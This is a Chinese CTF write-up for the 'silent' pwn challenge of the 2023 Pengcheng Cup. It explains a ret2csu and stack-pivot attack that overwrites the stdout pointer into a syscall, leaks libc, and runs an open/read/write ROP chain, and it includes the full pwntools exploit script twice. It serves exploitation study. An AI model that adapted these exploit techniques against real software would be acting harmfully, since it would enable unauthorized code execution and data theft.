首页 > 其他分享 >鹏城杯2023初赛 pwn(未完)

鹏城杯2023初赛 pwn(未完)

时间:2023-11-05 18:56:42浏览次数:44  
标签:鹏城 p64 libc 初赛 bss read base ret pwn

silent

打开ida一看,没有输出函数,只有一个栈溢出。跟巅峰极客的linkmap有点像,都是没有输出函数而且full relro,没法打ret2dl_resolve

但是linkmap那道题中是有能函数能将地址放到bss上的,所以它可以把read的地址放到bss上,然后通过修改bss上的read地址,加上栈迁移来执行别的内容。

而这道题是真的只有一个栈溢出,比赛做了两三个小时没出。

听了unauth401师傅的讲解以及参考了他的博客才搞懂

我们知道除了got表有libc地址,bss最开始的几个std指针里也是libc的地址

 所以跟linkmap一样,如果我们可以修改这几个指针的内容,那就可以达到同样的效果。(这里选stdout)

 1 from pwn import *
 2 from LibcSearcher import*
 3 context(os='linux', arch='amd64', log_level='debug') 
 4 p = process('./pwn')
 5 elf = ELF('./pwn')
 6 libc = ELF('./libc.so.6')
 7 
 8 read_addr=0x4008dc
 9 call_read=0x4008f2
10 pop_rsi_r15_ret=0x400961
11 bss_addr=0x601040
12 pop_rdi_ret=0x400963
13 leave_ret=0x4008fc
14 stdout=0x601020
15 csu1=0x40095A
16 csu2=0x400940
17 read_got=0x600fe0
18 rsp_r13_r15=0x000000000040095d
19 
20 payload1=b'a'*0x48+p64(csu1)+p64(0)+p64(1)+p64(read_got)+p64(0)+p64(bss_addr+0x800)+p64(0x400)
21 payload1+=p64(csu2)+p64(0)*7+p64(rsp_r13_r15)+p64(bss_addr+0x800-0x10)
22 #gdb.attach(p)
23 p.send(payload1)

这里的payload1是主要调用read来准备给bss上布置payload2,因为我们待会儿还是要栈迁移到bss上的。

 

 1 # 0x4007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
 2 magic2=0x4007e8
 3 pause()
 4 
 5 
 6 payload2=flat([
 7     pop_rdi_ret+1,
 8     csu1,0,1,bss_addr+0x800,0,0,0,
 9     csu2,0,-(0x7f349b21a780-0x7f349b1149d0),0x601020+0x3d,0,0,0,0,
10     magic2,
11     csu1,0,1,read_got,0,0x602000,8,
12     csu2,0,0,1,0x601020,1,read_got,8,
13     csu2,0,0,1,read_got,0,bss_addr+0x600,0x400,
14     csu2,0,0,0,0,0,0,0,
15     rsp_r13_r15,bss_addr+0x600-0x18,
16     ])+b"./flag"
17 
18 
19 p.send(payload2)
20 pause()
21 p.send('a')
22 libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['read']
23 success('libc_base=',hex(libc_base))
24 
25 rsi=libc_base+0x000000000002be51
26 rdx=libc_base+0x0000000000796a2
27 payload3=flat([
28     pop_rdi_ret,0x6019d0,
29     rsi,0,
30     rdx,0,
31     libc_base+libc.sym['open'],
32     pop_rdi_ret,3,
33     rsi,0x602000,
34     rdx,0x100,
35     libc_base+libc.sym['read'],
36     pop_rdi_ret,1,
37     libc_base+libc.sym['write']
38     ])
39 pause()
40 p.send(payload3)
41 p.interactive()

payload2是最重要的payload

因为我们并不知道任何libc地址,没法通过调用read来直接修改stdout内容,但是偏移我们是知道的,所以可以通过数值上的加减来实现。

数值上的加减最容易的就是通过寄存器来实现

通过ropgadgets,我们发现第一行写的那段gadget:# 0x4007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret

可以将{rbp-0x3d]与ebx相加,所以我们在rbp-0x3d处写上stdout(0x601020),那就能修改stdout的内容为我们想要的。

这里我们选择改成syscall,下面是偏移

 改完之后在第十一行通过read来修改rax为1,调用write来泄露libc。

剩下就是常规orw了。这道题对动调csu感觉要求好高,调半天才搞懂。

exp:

from pwn import *
from LibcSearcher import*
context(os='linux', arch='amd64', log_level='debug') 
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

read_addr=0x4008dc
call_read=0x4008f2
pop_rsi_r15_ret=0x400961
bss_addr=0x601040
pop_rdi_ret=0x400963
leave_ret=0x4008fc
stdout=0x601020
csu1=0x40095A
csu2=0x400940
read_got=0x600fe0
rsp_r13_r15=0x000000000040095d

payload1=b'a'*0x48+p64(csu1)+p64(0)+p64(1)+p64(read_got)+p64(0)+p64(bss_addr+0x800)+p64(0x400)
payload1+=p64(csu2)+p64(0)*7+p64(rsp_r13_r15)+p64(bss_addr+0x800-0x10)
gdb.attach(p)
p.send(payload1)


# 0x4007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
magic2=0x4007e8
pause()


payload2=flat([
    pop_rdi_ret+1,
    csu1,0,1,bss_addr+0x800,0,0,0,
    csu2,0,-(0x7f349b21a780-0x7f349b1149d0),0x601020+0x3d,0,0,0,0,
    magic2,
    csu1,0,1,read_got,0,0x602000,8,
    csu2,0,0,1,0x601020,1,read_got,8,
    csu2,0,0,1,read_got,0,bss_addr+0x600,0x400,
    csu2,0,0,0,0,0,0,0,
    rsp_r13_r15,bss_addr+0x600-0x18,
    ])+b"./flag"


p.send(payload2)
pause()
p.send('a')
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['read']
success('libc_base=',hex(libc_base))

rsi=libc_base+0x000000000002be51
rdx=libc_base+0x0000000000796a2
payload3=flat([
    pop_rdi_ret,0x6019d0,
    rsi,0,
    rdx,0,
    libc_base+libc.sym['open'],
    pop_rdi_ret,3,
    rsi,0x602000,
    rdx,0x100,
    libc_base+libc.sym['read'],
    pop_rdi_ret,1,
    libc_base+libc.sym['write']
    ])
pause()
p.send(payload3)
p.interactive()

 

标签:鹏城,p64,libc,初赛,bss,read,base,ret,pwn
From: https://www.cnblogs.com/M4rg4tr01d/p/17810882.html

相关文章

  • 【pwn】整数溢出
    这是ctfshow上面的一道题这边v1和v2定义时都是int,有符号整数,想让v1-v2=9,可以考虑负数,但是这个函数过滤了负号 if(strchr(s,45))  return0LL;可以考虑输入比较大的数有符号溢出成负数,输入4294967295的话,就会解析成-1,然后8-(-1)==9就可以看第2个函数:首先int可表示......
  • 鹏程杯子2023 pwn
    主要就是修改stdin的最后几位,使他变为write,然后泄露libc,为所欲为即可。本人是卡在不知道stdin那里可以修改。然后使用一下jmpqwordrbp这个gadget0x400a93那个。fromevilbladeimport*context(os='linux',arch='amd64')context(os='linux',arch='amd64',log_level='......
  • pwn环境部署
    PWN环境搭建前言:自己开始学pwn时使用的是kali,稀里糊涂的配了点东西就用用了,后面都是用ctfshow配置好的集成环境,招新赛时有同学问我如何部署pwn环境,出现的各种问题令人鸡肋,于是就诞生了这集各种博客的博客tips:1建议新手按1、2(3)、5、6、9、10、11走2如果师傅想装pyt......
  • CTF-pwn-堆入门-day1
    什么是堆 堆是可以根据运行时的需要进行动态分配和释放的内存,大小可变由程序员决定mallocnew\freedelete栈用于函数分配固定大小的局部内存由程序决定 但是为什么不都在栈上进行函数调用,反而要去对上进行调用 堆的实现重点关注内存块的组织和管理方式,尤其是空闲......
  • 在一个简单的pwn题目中探究执行系统调用前堆栈的对齐问题
    题目介绍:在输入AAAAAAAAAAAAAAAAAAAAAAAAA后,程序会打开一个shell,这是为什么?字符串中的A能否更换为@?1.程序接收输入AAAAAAAAAAAAAAAAAAAAAAAAA获得shell的原理:.text:0000000140001584publicvuln.text:0000000140001584vulnprocnear......
  • 2023 SHCTF-校外赛道 PWN WP
    WEEK1nc连接靶机直接梭hardnc同样是nc直接连,但是出题人利用linux命令的特性,将部分flag放在了特殊文件中利用ls-a查看所有文件,查看.gift,可以得到前半段然后再lsgift2以及cat相关的内容得不到任何数据。。。因此考虑到会不会是进入目录下找,再更换到gift2目录中,查看flag2,......
  • 【pwn】[SWPUCTF 2021 新生赛]nc签到 --shell过滤字符
    附件下载打开:importosart='''  (( "####@@!!$$  ))    `#####@@!$$` ))  (( '####@!!$:  (( ,####@!!$: ))    .###@!!$:    `##@@!$:    `#@!!$ !@#  `#@!$:   @#$  #$  `#@!$:   !@!......
  • Dasctf&CBctf-pwn部分题目复现
    打了一下Dasctf&CBCTF的pwn题目,感觉有些思路,但是就是做不出来,赛后发WP才恍然大悟,还是太菜了喵(---------------------------------------------------------------------------------------------------------------------------------------------------------------------------......
  • 【pwn】[MoeCTF 2022]babyfmt --格式化字符串漏洞,got表劫持
    拿到程序,先checksec一下发现是PartialRELRO,got表可修改当RELRO保护为NORELRO的时候,init.array、fini.array、got.plt均可读可写;为PARTIALRELRO的时候,ini.array、fini.array可读不可写,got.plt可读可写;为FULLRELRO时,init.array、fini.array、got.plt均可读不可写。然后看主......
  • 【pwn】[SDCTF 2022]Horoscope--栈溢出,atoi函数绕过
    checksec检查一下,发现只开了nx,然后ida打开直接看主函数发现fgets函数往s里面读入320个字节的数据,此处可造成溢出,再看看test和debug函数voiddebug(){ temp=1;} inttest(){ intresult;//eax result=temp; if(temp==1)  returnsystem("/bin/sh");......